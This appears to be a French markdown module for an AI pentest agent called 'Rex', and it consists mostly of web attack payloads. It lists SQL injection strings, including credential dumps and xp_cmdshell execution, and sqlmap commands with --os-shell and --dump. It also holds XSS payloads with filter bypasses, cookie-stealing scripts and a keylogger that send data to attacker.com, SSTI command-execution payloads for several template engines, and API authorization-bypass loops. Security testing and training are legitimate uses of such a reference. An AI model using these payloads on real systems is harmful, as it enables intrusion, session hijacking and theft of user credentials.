# Module Pentest Web - Rex::Web

> **Parent Agent**: Rex (pentest.md)
> **Sources**: basics-web-hacking.json, security-book.json, Web Research 2025
> **Focus**: OWASP Top 10, Injection, Authentication, Session

---

## Specialisation

Ce module couvre les tests de penetration web applicatifs avec focus sur:
- SQL Injection (Union, Blind, Time-based, Error-based)
- Cross-Site Scripting (Reflected, Stored, DOM-based, mXSS)
- Server-Side Template Injection (SSTI)
- Authentication & Session Management
- API Security (BOLA, BFLA, Mass Assignment)

---

## SQL INJECTION - Reference Complete

### Methodologie (source: basics-web-hacking.json)

```markdown
## Phases SQLi

1. **Crash Application** - Prouver que l'input influence le comportement
   - Input: `'` ou `"` ou `\`
   - Resultat attendu: erreur SQL

2. **Identifier le SGBD**
   - MySQL: `@@version`, `SLEEP(5)`, commentaires `#`
   - PostgreSQL: `version()`, `pg_sleep(5)`
   - MSSQL: `@@version`, `WAITFOR DELAY`
   - Oracle: `banner FROM v$version`

3. **Enumeration Structure**
   - Trouver nombre de colonnes: `ORDER BY 1--`, `ORDER BY 2--`...
   - Tables: `information_schema.tables`
   - Colonnes: `information_schema.columns`

4. **Extraction Donnees**
   - UNION SELECT
   - Blind (Boolean/Time-based)
```

### Payloads par SGBD

```sql
-- MYSQL
' OR '1'='1
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT username,password,NULL FROM users--
' AND SLEEP(5)--
' AND (SELECT COUNT(*) FROM users) > 0--

-- POSTGRESQL
' OR 1=1--
' UNION SELECT NULL,NULL,NULL--
'; SELECT pg_sleep(5)--
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables WHERE table_schema='public'--

-- MSSQL
' OR 1=1--
'; WAITFOR DELAY '0:0:5'--
' UNION SELECT NULL,NULL,NULL--
'; EXEC xp_cmdshell('whoami')--

-- ORACLE
' OR 1=1--
' UNION SELECT NULL,NULL,NULL FROM dual--
' UNION SELECT table_name,NULL,NULL FROM all_tables--
```

### Blind SQLi Techniques

```markdown
## Boolean-Based Blind

# Verification
' AND 1=1-- (page normale)
' AND 1=2-- (page differente)

# Extraction caractere par caractere
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>97--

## Time-Based Blind

# MySQL
' AND IF(1=1,SLEEP(5),0)--
' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>97,SLEEP(5),0)--

# PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--

# MSSQL
'; IF (1=1) WAITFOR DELAY '0:0:5'--
```

### SQLMap Cheatsheet

```bash
# Detection basique
sqlmap -u "http://target/page?id=1"

# Avec cookies/auth
sqlmap -u "http://target/page?id=1" --cookie="PHPSESSID=abc123"

# POST data
sqlmap -u "http://target/login" --data="username=admin&password=test"

# Bypass WAF
sqlmap -u "http://target/page?id=1" --tamper="between,randomcase,space2comment"

# Enumeration
sqlmap -u "http://target/page?id=1" --dbs
sqlmap -u "http://target/page?id=1" -D database --tables
sqlmap -u "http://target/page?id=1" -D database -T users --dump

# OS Shell
sqlmap -u "http://target/page?id=1" --os-shell

# Techniques specifiques
sqlmap -u "http://target/page?id=1" --technique=BEUSTQ
# B = Boolean-based blind
# E = Error-based
# U = Union query
# S = Stacked queries
# T = Time-based blind
# Q = Inline queries
```

---

## CROSS-SITE SCRIPTING (XSS)

### Types XSS

```markdown
## Reflected XSS
- Input reflete dans la reponse immediate
- URL malveillante envoyee a la victime

## Stored XSS
- Payload stocke en base de donnees
- Execute pour tous les utilisateurs qui voient le contenu

## DOM-based XSS
- Manipulation cote client
- Ne touche jamais le serveur
- Sources: location.hash, document.referrer, window.name

## Mutation XSS (mXSS)
- Exploite les differences de parsing HTML entre navigateurs
- Bypass les sanitizers
```

### Payloads XSS (2025)

```html
<!-- Basiques -->
<script>alert('XSS')</script>
<script>alert(document.cookie)</script>
<script>alert(document.domain)</script>

<!-- Sans balise script -->
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
<input onfocus=alert('XSS') autofocus>
<marquee onstart=alert('XSS')>

<!-- Encodage -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
<svg/onload=alert`1`>

<!-- Bypass filtres -->
<ScRiPt>alert('XSS')</ScRiPt>
<scr<script>ipt>alert('XSS')</scr</script>ipt>
<img src=x onerror="alert('XSS')">
<img src=x onerror='alert("XSS")'>

<!-- mXSS (Mutation XSS) -->
<noscript><p title="</noscript><script>alert(1)</script>">

<!-- DOM Clobbering -->
<form id=x><input id=y></form>
<img name=z src=1>

<!-- SVG -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
<svg><script>alert('XSS')</script></svg>

<!-- Polyglot XSS -->
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
```

### Cookie Stealing

```javascript
// Voler cookies
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>

// Via image
<img src=x onerror="this.src='http://attacker.com/steal?c='+document.cookie">

// Fetch API
<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>

// Si HttpOnly
// Capturer keystrokes
<script>document.onkeypress=function(e){fetch('http://attacker.com/log?k='+e.key)}</script>
```

---

## SERVER-SIDE TEMPLATE INJECTION (SSTI)

### Detection

```markdown
## Payloads de detection
{{7*7}}           -> 49 (Jinja2, Twig)
${7*7}            -> 49 (FreeMarker, Velocity)
<%= 7*7 %>        -> 49 (ERB Ruby)
#{7*7}            -> 49 (Pebble, Groovy)
*{7*7}            -> 49 (Thymeleaf)
@(7*7)            -> 49 (Razor .NET)

## Tree de detection
${7*7}
  -> 49: FreeMarker, Velocity, Thymeleaf
  -> ${7*7}: Tester {{7*7}}
       -> 49: Jinja2, Twig
       -> {{7*7}}: Pas vulnerable ou autre engine
```

### Exploitation par Engine

```python
# JINJA2 (Python/Flask)
{{config}}
{{config.items()}}
{{''.__class__.__mro__[1].__subclasses__()}}
{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].popen('id').read()}}

# Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# FreeMarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

# Velocity (Java)
#set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))#set($chr=$x.class.forName('java.lang.Character'))#set($str=$x.class.forName('java.lang.String'))#set($ex=$rt.getRuntime().exec('id'))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

# Pug/Jade (Node.js)
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('id')}()}
```

---

## API SECURITY (OWASP API Top 10 2023)

### BOLA (Broken Object Level Authorization)

```bash
# Identifier les endpoints avec IDs
# GET /api/users/123
# GET /api/orders/456
# GET /api/documents/789

# Test systematique
for id in $(seq 1 100); do
  curl -s "http://target/api/users/$id" \
    -H "Authorization: Bearer $USER_TOKEN" | jq .
done

# Variations a tester
/api/users/123         # ID numerique
/api/users/abc123      # UUID
/api/users/user@email  # Email comme ID
```

### BFLA (Broken Function Level Authorization)

```http
# User normal tente endpoints admin
GET /api/admin/users HTTP/1.1
Authorization: Bearer user_token

# Methodes HTTP alternatives
OPTIONS /api/admin/users
PUT /api/admin/users
DELETE /api/admin/users

# Path manipulation
/api/v1/users → /api/v1/admin/users
/api/users → /api/./admin/users
/api/users → /api/../admin/users
```

### Mass Assignment

```json
// POST /api/users/profile
// Tentative d'ajouter des champs non autorises
{
  "name": "Hacker",
  "email": "hacker@test.com",
  "role": "admin",
  "isAdmin": true,
  "isVerified": true,
  "balance": 999999,
  "__proto__": {"isAdmin": true}
}
```

### Rate Limit Bypass

```bash
# Headers manipulation
X-Forwarded-For: 127.0.0.1
X-Real-IP: 192.168.1.1
X-Originating-IP: 10.0.0.1
X-Client-IP: 172.16.0.1

# Rotation
for i in {1..100}; do
  curl -H "X-Forwarded-For: 192.168.1.$i" http://target/api/login -d "..."
done
```

---

## SESSION MANAGEMENT

### Tests Session (source: basics-web-hacking.json p.154-155)

```markdown
## Checklist Session Security

1. [ ] Session ID suffisamment aleatoire (>128 bits entropie)
2. [ ] Session ID regenere apres authentification
3. [ ] Session timeout implemente
4. [ ] Logout detruit session cote serveur
5. [ ] Cookie flags corrects (HttpOnly, Secure, SameSite)
6. [ ] Session ID non present dans l'URL
7. [ ] Concurrent sessions limitees
```

### Session Fixation

```markdown
## Attack Flow

1. Attaquant obtient session ID valide (avant auth)
2. Attaquant force victime a utiliser ce session ID
   - Via URL: http://target/login?PHPSESSID=attacker_session
   - Via cookie injection (XSS)
3. Victime se connecte avec ce session ID
4. Attaquant utilise le meme session ID → authenticated

## Prevention
- Regenerer session ID apres authentication
- Ne pas accepter session ID dans URL
- Valider session ID format
```

### Cookie Flags

```http
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/; Domain=target.com

# HttpOnly: Pas accessible via JavaScript
# Secure: HTTPS seulement
# SameSite=Strict: Pas envoye en cross-site
# SameSite=Lax: Envoye pour navigation top-level
```

---

## OUTILS WEB

| Outil | Usage |
|-------|-------|
| **Burp Suite** | Proxy, Scanner, Repeater, Intruder |
| **OWASP ZAP** | Alternative gratuite a Burp |
| **sqlmap** | Automatisation SQLi |
| **XSStrike** | Detection/exploitation XSS avancee |
| **wfuzz** | Fuzzing parametres |
| **ffuf** | Fast fuzzer (Go) |
| **Nuclei** | Scanning templates |
| **httpx** | HTTP probing |
| **katana** | JS crawling |

---

## COMMANDES MODULE

| Commande | Description |
|----------|-------------|
| `*sqli-test` | Test injection SQL complet |
| `*xss-hunt` | Recherche XSS tous types |
| `*ssti-detect` | Detection SSTI multi-engine |
| `*api-audit` | Audit API OWASP |
| `*session-test` | Test session management |
| `*auth-bypass` | Tentatives bypass auth |

---

## REFERENCES

- **basics-web-hacking.json** - Josh Pauli (50,957 tokens)
- **security-book.json** - Chapitre 6 Failles Web
- OWASP Testing Guide v4.2
- OWASP API Security Top 10 2023
- PayloadsAllTheThings
